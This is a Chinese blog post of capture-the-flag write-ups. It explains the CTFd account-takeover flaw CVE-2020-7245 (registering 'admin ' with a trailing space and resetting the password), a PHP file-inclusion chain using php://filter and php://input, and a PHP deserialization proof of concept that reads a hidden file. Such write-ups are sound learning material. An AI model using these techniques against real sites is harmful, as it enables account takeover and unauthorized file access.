CTF打卡~Day15

发布于 2020-05-03  1272 次阅读


[V&N2020 公开赛]HappyCTFd

这题是一个CTFd平台,似乎怎么找也都找不到突破点。

这里就需要用到一个最近的CVE报告了:CVE-2020-7245 CTFd v2.0.0 – v2.2.2 account takeover 账户接管漏洞 https://www.colabug.com/2020/0204/6940556/amp/

这里导致接管漏洞的原因是注册时使用的auth.py,在验证用户名是否重复的时候是直接从数据库中拉数据与上传的待验证用户名进行匹配。但是在入库的时候又进行了strip()去两头空格处理。因此在找回密码的时候就可以进行对自己的原账户(没有加空格的)进行重置密码,达到任意账户接管的目的(此处描述不详细,清查看上方链接了解详情)

所以我们就可以注册一个admin账号,加上一个空格变成admin ,之后在重置密码,就可以进入admin账号,找到flag管理里面就是flag了。(buuoj的发邮件功能只能使用站内信箱)

[NISACTF]一个有bug的网站?

这应该是我们协会平台上最后一题没有写完的web题了,咕了好久

首页查看源代码也没有发现啥,查看文件头,发现了set-cookie下面有东西

打开flag.php,就是一张图片,源代码还提示被骗了,flag不在这里。

但是查看文件头发现还是有东西

出题人略微有些8太厚道,这个是比较少见的BubbleBabble密码,在这里可以解码 http://ctf.ssleye.com/bubble.html

解出来再过一个base64,就是

index.php
include($_GET["file"])7

回到index.php,传入?file=flag.php会显示flag.php的内容,但是写例如flag.txt的内容会显示You are not admin

猜测这里可能是file_get_contents(),尝试使用phpfilter把源码搞出来。

传入?flag= php://filter/read=convert.base64-encode/resource=index.php ,base64解码后,获得源码:

<?php
error_reporting(0);
setcookie('flag','flag.php',time()+5);
if(!isset($_GET['file'])){
    include('blog.html');
}

$user = $_GET["user"];
$file = $_GET["file"];
$passwd = $_GET["passwd"];

include($file);//class.php
if(isset($user)&&(file_get_contents($user,'r')==="I'm admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        $passwd = unserialize($passwd);
        echo $passwd;
    }
}else{
    echo "you are not admin ! ";
}

 ?>

审计代码,这里需要让file_get_contents($user)==I'm admin ,这里可以使用php://input 来获取POST的RAW DATA,在post一个I'm admin上去就行了。下一步看到有提示class.php,用同样的方法拖出来源码:

<?php
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
        return "__toString was called!";
    }
}

index.php中有$passwd = unserialize($passwd); 并且class.php中有魔术方法__toString(),可以访问任意文件。于是就可以读取f1a9.php的内容了。

这是POC:

<?php
class Read{//f1a9.php
    public $file="f1a9.php";
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
        return "__toString was called!";
    }
}
$a = new Read();
echo serialize($a);
?>

得到O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

最终Payload:

查看源码即可获得flag

这里有一个文件包含漏洞的合集,可能蛮有用的: https://blog.csdn.net/Vansnc/article/details/82528395

[NISACTF]WarmUP

这题本来想复习下新生赛的内容的,但是居然卡住了。

学到了一个重要的一点:一定要注意几个变量在内存中是否连续,并且要确认好字符串或者数组的头指针,IDA中是有可能出现数组或者字符串嵌套的情况的,这个时候就要仔细判断内存的连续性。


等风来,不如追风去。